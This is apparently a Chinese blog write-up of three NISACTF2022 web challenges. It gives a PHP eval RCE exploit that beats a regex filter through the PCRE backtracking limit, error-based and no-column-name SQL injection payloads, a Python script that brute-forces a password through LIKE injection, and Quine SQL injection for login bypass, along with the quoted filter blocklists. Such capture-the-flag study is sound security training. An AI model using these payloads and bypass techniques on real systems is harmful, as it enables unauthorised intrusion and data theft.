NISACTF2022公开通道(复现)

middlerce(复现)

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

1、PCRE回溯次数限制绕过检测

2、checkdata函数检测绕过,下面是过滤字段

/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

利用脚本如下

import requests
payload = '{"cmd":"?><?= `tail /f*`?>", "$":"'+"$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28131/",data = {"letter":payload})
print(res.text)

join-us(复现)

知识点:报错注入 + 无列名注入

  • or被过滤用 ||代替

  • = 被过滤用like代替

  • database里面的as被过滤,通过查询一个不存在的表,通过报错获得表名

    -1' || (select * from aa)#

  • column被过滤,用无列名注入

  • 输出长度限制,mid函数,substr函数

下面就是常规的操作

1、爆表名payload

tt=-1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#

2、爆列名

column被过滤了,这里要用到无列名注入的知识

  • 对一个新表起名字有三种方式
    • 一种是加个括号再加个名,如 (select*from output)c 那这个查询的结果内容就被归整为一个叫做“c”的表中;
    • 第二种就是直接用as,如 select output as a 那此时这个output就不叫output了,他叫 “a”;
    • 第三种就是这个as可以忽略

payload如下

tt=-1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#

3、存在输出长度的限制

substr被过滤了,用mid函数来输出

mid函数的语法

MID(str,pos)

MID(str FROM pos)

MID(str,pos,len)

MID(str FROM pos FOR len)

payload如下

tt=-1' || extractvalue(1,concat(0x07, (select data from output), 0x07))#

tt=-1' || extractvalue(1,concat(0x07, mid((select data from output),28), 0x07))#

hardsql(复现)

like模糊匹配爆密码+Quine

1、like语法的学习

  • %MySQL最常用的通配符,它能代表任何长度的字符串,字符串的长度为0,,类似正则的中的*号,匹配的字符串必须加单引号或双引号

  • _只能代表单个字符,字符的长度不能为 0,如a_b可以匹配acb,adc等

  • LIKE 关键字匹配字符的时候是不区分大小写的。如果需要区分大小写,可以加入 BINARY 关键字

  • 注意大小写。MySQL 默认是不区分大小写的。如果区分大小写,像“Tom”这样的数据就不能被“t%”所匹配到。

  • 注意尾部空格,尾部空格会干扰通配符的匹配。例如,“T% ”就不能匹配到“Tom”。

  • 注意 NULL。“%”通配符可以到匹配任意字符,但是不能匹配 NULL。

写脚本爆密码

import requests
flag = ""
Str = "1234567890qwertyuiopasdfghjklzxcvbnm"
url = "http://1.14.71.254:28616/login.php"
for i in range(40):
    for j in Str:
        data = {"username":"bilala","passwd":"-1'/**/or/**/passwd/**/like/**/'{}%'#".format(flag+j)}
        response = requests.post(url, data=data)
        if b"wrong password" in response.content:
            flag = flag + j
            print(flag)
            break
print(flag)

登录之后看到源码

<?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}

?>

2、Quine注入学习

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中

参考文章

一篇分析的很详细的参考文章

各个版本的Quine语句

分析Quine注入的payload

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

关键函数 replace(object,search,replace),将object中的search字段替换成replace字段

  • 解决如何让输入和输出一致
  • 解决单双引号不同的情况

ps:0x、char、chr三个等价

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值